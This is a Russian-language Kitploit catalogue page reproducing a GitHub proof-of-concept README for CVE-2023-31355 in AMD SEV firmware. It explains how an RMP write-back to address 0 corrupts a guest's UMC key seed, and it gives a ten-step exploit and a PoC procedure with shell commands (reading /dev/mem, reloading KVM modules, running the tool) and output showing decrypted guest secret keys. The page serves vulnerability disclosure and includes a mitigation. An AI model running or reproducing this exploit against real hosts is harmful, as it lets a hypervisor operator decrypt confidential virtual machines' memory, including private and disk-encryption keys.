Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/freax13/cve-2023-31355-poc
Инструменты шифрования/дешифрованияКриминалистика памятиАнализ уязвимостейЭксплуатацияАппаратная БезопасностьАнализ ПрошивокЭксплуатация Бинарных Файлов
GitHubfreax13/cve-2023-31355-poc

cve-2023-31355-poc

Репозиторий
82 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уязвимость в прошивке SEV

В этом репозитории содержится эксплойт для уязвимости в прошивке SEV. Эксплойт позволяет расшифровывать произвольную память гостевой системы SEV-SNP после её вывода из эксплуатации.

Проверено на версии 1.55.16 (последней на момент написания).

Первопричина

snp_reclaim_buffer безусловно пытается записать изменения RMP обратно, даже когда адрес не покрыт RMP. Если address не покрыт RMP, адрес элемента RMP page_rmp_paddr никогда не инициализируется должным образом и остаётся в своём начальном значении 0. В результате прошивка пытается записать изменения элемента RMP обратно по адресу 0. Это плохо, потому что адрес 0 покрыт RMP и его не следует записывать без дополнительных проверок. Если address находится вне области, покрытой RMP, page_rmp_entry никогда не инициализируется должным образом и содержит мусорные данные из стека. На практике эти мусорные данные постоянны.

В коде есть комментарий, предупреждающий именно об этом паттерне, поэтому я не удивлюсь, если я не первый, кто сообщает об этой проблеме.

snp_reclaim_buffer вызывается с адресом страницы состояния кольцевых буферов SEV, когда гипервизор запрашивает выход из режима кольцевого буфера. Этот адрес контролируется атакующим. Для этого адреса есть некоторые проверки, но страницы по умолчанию (т.е. страницы вне области, покрытой RMP) явно разрешены.

Эксплойт

Мы можем использовать эту запись по адресу 0, разместив там страницу контекста гостя. Удачно, что первым полем страницы контекста гостя является зерно ключа UMC, размер которого в точности совпадает с размером элемента RMP (обе — 16 байт). Обманув прошивку, заставив её записать изменения обратно по адресу 0, мы можем повредить зерно ключа UMC. Неинициализированный элемент RMP, который записывается, всегда одинаков, поэтому повреждённое зерно ключа UMC тоже всегда будет почти одинаковым: счётчик подстраниц (9 бит) в элементе RMP не записывается, а все остальные поля записываются. Многократно создавая новые страницы контекста гостя, которые каждый раз будут иметь разные случайные начальные значения счётчика подстраниц, мы в итоге можем создать несколько гостей с одинаковым зерном ключа UMC.

Чтобы использовать уязвимость, можно выполнить следующие шаги:

  1. Создайте страницу контекста гостя по адресу 0 для гостевой системы-жертвы.
  2. Используйте уязвимость, чтобы повредить зерно ключа UMC гостевой системы-жертвы.
  3. Активируйте страницу контекста гостя-жертвы и запустите гостевую систему-жертву.
  4. Выведите гостевую систему-жертву из эксплуатации.
  5. Создайте страницу контекста гостя по адресу 0 для гостевой системы атакующего.
  6. Используйте уязвимость, чтобы повредить зерно ключа UMC гостевой системы атакующего. Все биты, кроме 9, гарантированно совпадут с гостевой системой-жертвой.
  7. Если зерно ключа UMC гостя атакующего совпадает с зерном жертвы, продолжайте; в противном случае перейдите к шагу 5.
  8. Активируйте страницу контекста гостя атакующего и запустите его с включённым флагом отладки.
  9. Назначьте память гостевой системы-жертвы гостевой системе атакующего.
  10. Используйте команду SNP_DBG_ENCRYPT, чтобы расшифровать память гостевой системы-жертвы с помощью страницы контекста гостя атакующего. Это удастся, потому что гостевая система-жертва и гостевая система атакующего используют общее зерно ключа UMC.

Влияние

Из-за того, что мы можем расшифровать память только после вывода гостя из эксплуатации, невозможно создать поддельные отчёты аттестации, даже если у нас есть доступ к секретам гостя. Мы можем создать поддельные отчёты аттестации, только если гость был мигрирован на другой хост до вывода из эксплуатации: в этом случае секреты (т.е. VMPCK) выведенного из эксплуатации гостя также будут работать на новой мигрированной системе.

Однако на практике многие приложения хранят другую чувствительную информацию (т.е. закрытые ключи, ключи шифрования диска), которая может быть раскрыта с помощью этого эксплойта.

Меры по смягчению

Элемент RMP следует записывать обратно только в том случае, если страница не находилась в состоянии по умолчанию.

Использование PoC

  1. Измените в BIOS область, покрытую RMP, на 64 ГиБ (0x10000 страниц по 1 МиБ). Если ваша система этого не поддерживает, патчи для Linux придётся соответствующим образом скорректировать. PoC тестировался на системе с 128 ГиБ памяти.
  2. Примените патчи из папки linux-patches к последнему коммиту репозитория https://github.com/AMDESE/linux/commits/snp-host-v10. Соберите, установите и загрузите ядро.
  3. Запустите гостевую систему-жертву SEV-SNP.
  4. Пока гость ещё работает, получите (зашифрованное) зерно ключа UMC.
    root@kitploit:~
    root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
    118402003190020000d0150701000000
    
  5. Остановите гостевую систему-жертву.
  6. Просмотрите журналы ядра, чтобы найти расположение секретной страницы, созданной при запуске.
    root@kitploit:~
    root@server:~# dmesg | grep "kvm_amd: Detected secret page"
    [  463.851449] kvm_amd: Detected secret page at pfn 171a24
    
  7. Перезагрузите модули ядра ccp, kvm и kvm_and:
    root@kitploit:~
    root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
    
    Похоже, патчи Linux нарушают работу RMP, и эта перезагрузка переинициализирует RMP.
  8. Запустите PoC.
    root@kitploit:~
    root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24 
        Finished dev [unoptimized + debuginfo] target(s) in 0.03s
    Creating VM with identical UMC key seed
    [11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
    Raw page:
    000: 0300000000000000110fa0000000000000000000000000000000000082837143
    020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
    040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
    060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
    080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
    0a0: 0000000000000000000000000000000000000000000000000000000000000000
    0c0: 0000000000000000000000000000000000000000000000000000000000000000
    0e0: 0000000000000000000000000000000000000000000000000000000000000000
    100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
    120: 0000000000000000000000000000000000000000000000000000000000000000
    140: 0000000000000000000000000000000000000000000000000000000000000000
    160: c800000000000000000000000000000000000000000000000000000000000000
    180: 0000000000000000000000000000000000000000000000000000000000000000
    1a0: 0000000000000000000000000000000000000000000000000000000000000000
    1c0: 0000000000000000000000000000000000000000000000000000000000000000
    1e0: 0000000000000000000000000000000000000000000000000000000000000000
    200: 0000000000000000000000000000000000000000000000000000000000000000
    220: 0000000000000000000000000000000000000000000000000000000000000000
    240: 0000000000000000000000000000000000000000000000000000000000000000
    260: 0000000000000000000000000000000000000000000000000000000000000000
    280: 0000000000000000000000000000000000000000000000000000000000000000
    2a0: 0000000000000000000000000000000000000000000000000000000000000000
    2c0: 0000000000000000000000000000000000000000000000000000000000000000
    2e0: 0000000000000000000000000000000000000000000000000000000000000000
    300: 0000000000000000000000000000000000000000000000000000000000000000
    320: 0000000000000000000000000000000000000000000000000000000000000000
    340: 0000000000000000000000000000000000000000000000000000000000000000
    360: 0000000000000000000000000000000000000000000000000000000000000000
    380: 0000000000000000000000000000000000000000000000000000000000000000
    3a0: 0000000000000000000000000000000000000000000000000000000000000000
    3c0: 0000000000000000000000000000000000000000000000000000000000000000
    3e0: 0000000000000000000000000000000000000000000000000000000000000000
    400: 0000000000000000000000000000000000000000000000000000000000000000
    420: 0000000000000000000000000000000000000000000000000000000000000000
    440: 0000000000000000000000000000000000000000000000000000000000000000
    460: 0000000000000000000000000000000000000000000000000000000000000000
    480: 0000000000000000000000000000000000000000000000000000000000000000
    4a0: 0000000000000000000000000000000000000000000000000000000000000000
    4c0: 0000000000000000000000000000000000000000000000000000000000000000
    4e0: 0000000000000000000000000000000000000000000000000000000000000000
    500: 0000000000000000000000000000000000000000000000000000000000000000
    520: 0000000000000000000000000000000000000000000000000000000000000000
    540: 0000000000000000000000000000000000000000000000000000000000000000
    560: 0000000000000000000000000000000000000000000000000000000000000000
    580: 0000000000000000000000000000000000000000000000000000000000000000
    5a0: 0000000000000000000000000000000000000000000000000000000000000000
    5c0: 0000000000000000000000000000000000000000000000000000000000000000
    5e0: 0000000000000000000000000000000000000000000000000000000000000000
    600: 0000000000000000000000000000000000000000000000000000000000000000
    620: 0000000000000000000000000000000000000000000000000000000000000000
    640: 0000000000000000000000000000000000000000000000000000000000000000
    660: 0000000000000000000000000000000000000000000000000000000000000000
    680: 0000000000000000000000000000000000000000000000000000000000000000
    6a0: 0000000000000000000000000000000000000000000000000000000000000000
    6c0: 0000000000000000000000000000000000000000000000000000000000000000
    6e0: 0000000000000000000000000000000000000000000000000000000000000000
    700: 0000000000000000000000000000000000000000000000000000000000000000
    720: 0000000000000000000000000000000000000000000000000000000000000000
    740: 0000000000000000000000000000000000000000000000000000000000000000
    760: 0000000000000000000000000000000000000000000000000000000000000000
    780: 0000000000000000000000000000000000000000000000000000000000000000
    7a0: 0000000000000000000000000000000000000000000000000000000000000000
    7c0: 0000000000000000000000000000000000000000000000000000000000000000
    7e0: 0000000000000000000000000000000000000000000000000000000000000000
    800: 0000000000000000000000000000000000000000000000000000000000000000
    820: 0000000000000000000000000000000000000000000000000000000000000000
    840: 0000000000000000000000000000000000000000000000000000000000000000
    860: 0000000000000000000000000000000000000000000000000000000000000000
    880: 0000000000000000000000000000000000000000000000000000000000000000
    8a0: 0000000000000000000000000000000000000000000000000000000000000000
    8c0: 0000000000000000000000000000000000000000000000000000000000000000
    8e0: 0000000000000000000000000000000000000000000000000000000000000000
    900: 0000000000000000000000000000000000000000000000000000000000000000
    920: 0000000000000000000000000000000000000000000000000000000000000000
    940: 0000000000000000000000000000000000000000000000000000000000000000
    960: 0000000000000000000000000000000000000000000000000000000000000000
    980: 0000000000000000000000000000000000000000000000000000000000000000
    9a0: 0000000000000000000000000000000000000000000000000000000000000000
    9c0: 0000000000000000000000000000000000000000000000000000000000000000
    9e0: 0000000000000000000000000000000000000000000000000000000000000000
    a00: 0000000000000000000000000000000000000000000000000000000000000000
    a20: 0000000000000000000000000000000000000000000000000000000000000000
    a40: 0000000000000000000000000000000000000000000000000000000000000000
    a60: 0000000000000000000000000000000000000000000000000000000000000000
    a80: 0000000000000000000000000000000000000000000000000000000000000000
    aa0: 0000000000000000000000000000000000000000000000000000000000000000
    ac0: 0000000000000000000000000000000000000000000000000000000000000000
    ae0: 0000000000000000000000000000000000000000000000000000000000000000
    b00: 0000000000000000000000000000000000000000000000000000000000000000
    b20: 0000000000000000000000000000000000000000000000000000000000000000
    b40: 0000000000000000000000000000000000000000000000000000000000000000
    b60: 0000000000000000000000000000000000000000000000000000000000000000
    b80: 0000000000000000000000000000000000000000000000000000000000000000
    ba0: 0000000000000000000000000000000000000000000000000000000000000000
    bc0: 0000000000000000000000000000000000000000000000000000000000000000
    be0: 0000000000000000000000000000000000000000000000000000000000000000
    c00: 0000000000000000000000000000000000000000000000000000000000000000
    c20: 0000000000000000000000000000000000000000000000000000000000000000
    c40: 0000000000000000000000000000000000000000000000000000000000000000
    c60: 0000000000000000000000000000000000000000000000000000000000000000
    c80: 0000000000000000000000000000000000000000000000000000000000000000
    ca0: 0000000000000000000000000000000000000000000000000000000000000000
    cc0: 0000000000000000000000000000000000000000000000000000000000000000
    ce0: 0000000000000000000000000000000000000000000000000000000000000000
    d00: 0000000000000000000000000000000000000000000000000000000000000000
    d20: 0000000000000000000000000000000000000000000000000000000000000000
    d40: 0000000000000000000000000000000000000000000000000000000000000000
    d60: 0000000000000000000000000000000000000000000000000000000000000000
    d80: 0000000000000000000000000000000000000000000000000000000000000000
    da0: 0000000000000000000000000000000000000000000000000000000000000000
    dc0: 0000000000000000000000000000000000000000000000000000000000000000
    de0: 0000000000000000000000000000000000000000000000000000000000000000
    e00: 0000000000000000000000000000000000000000000000000000000000000000
    e20: 0000000000000000000000000000000000000000000000000000000000000000
    e40: 0000000000000000000000000000000000000000000000000000000000000000
    e60: 0000000000000000000000000000000000000000000000000000000000000000
    e80: 0000000000000000000000000000000000000000000000000000000000000000
    ea0: 0000000000000000000000000000000000000000000000000000000000000000
    ec0: 0000000000000000000000000000000000000000000000000000000000000000
    ee0: 0000000000000000000000000000000000000000000000000000000000000000
    f00: 0000000000000000000000000000000000000000000000000000000000000000
    f20: 0000000000000000000000000000000000000000000000000000000000000000
    f40: 0000000000000000000000000000000000000000000000000000000000000000
    f60: 0000000000000000000000000000000000000000000000000000000000000000
    f80: 0000000000000000000000000000000000000000000000000000000000000000
    fa0: 0000000000000000000000000000000000000000000000000000000000000000
    fc0: 0000000000000000000000000000000000000000000000000000000000000000
    fe0: 0000000000000000000000000000000000000000000000000000000000000000
    
    Secrets page:
    imi_en: false
    FMS: 00a00f11
    gosvw: 00000000000000000000000082837143
    vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
    vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
    vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
    vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
    VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
    tsc_factor: 200
    
    Обратите внимание, что в секретных страницах нет ничего особенного: этот эксплойт также можно использовать для расшифровки обычных страниц. В PoC используются секретные страницы, потому что их содержимое очень узнаваемо, что позволяет легко увидеть, что расшифровка памяти жертвы прошла успешно.
Скачать инструмент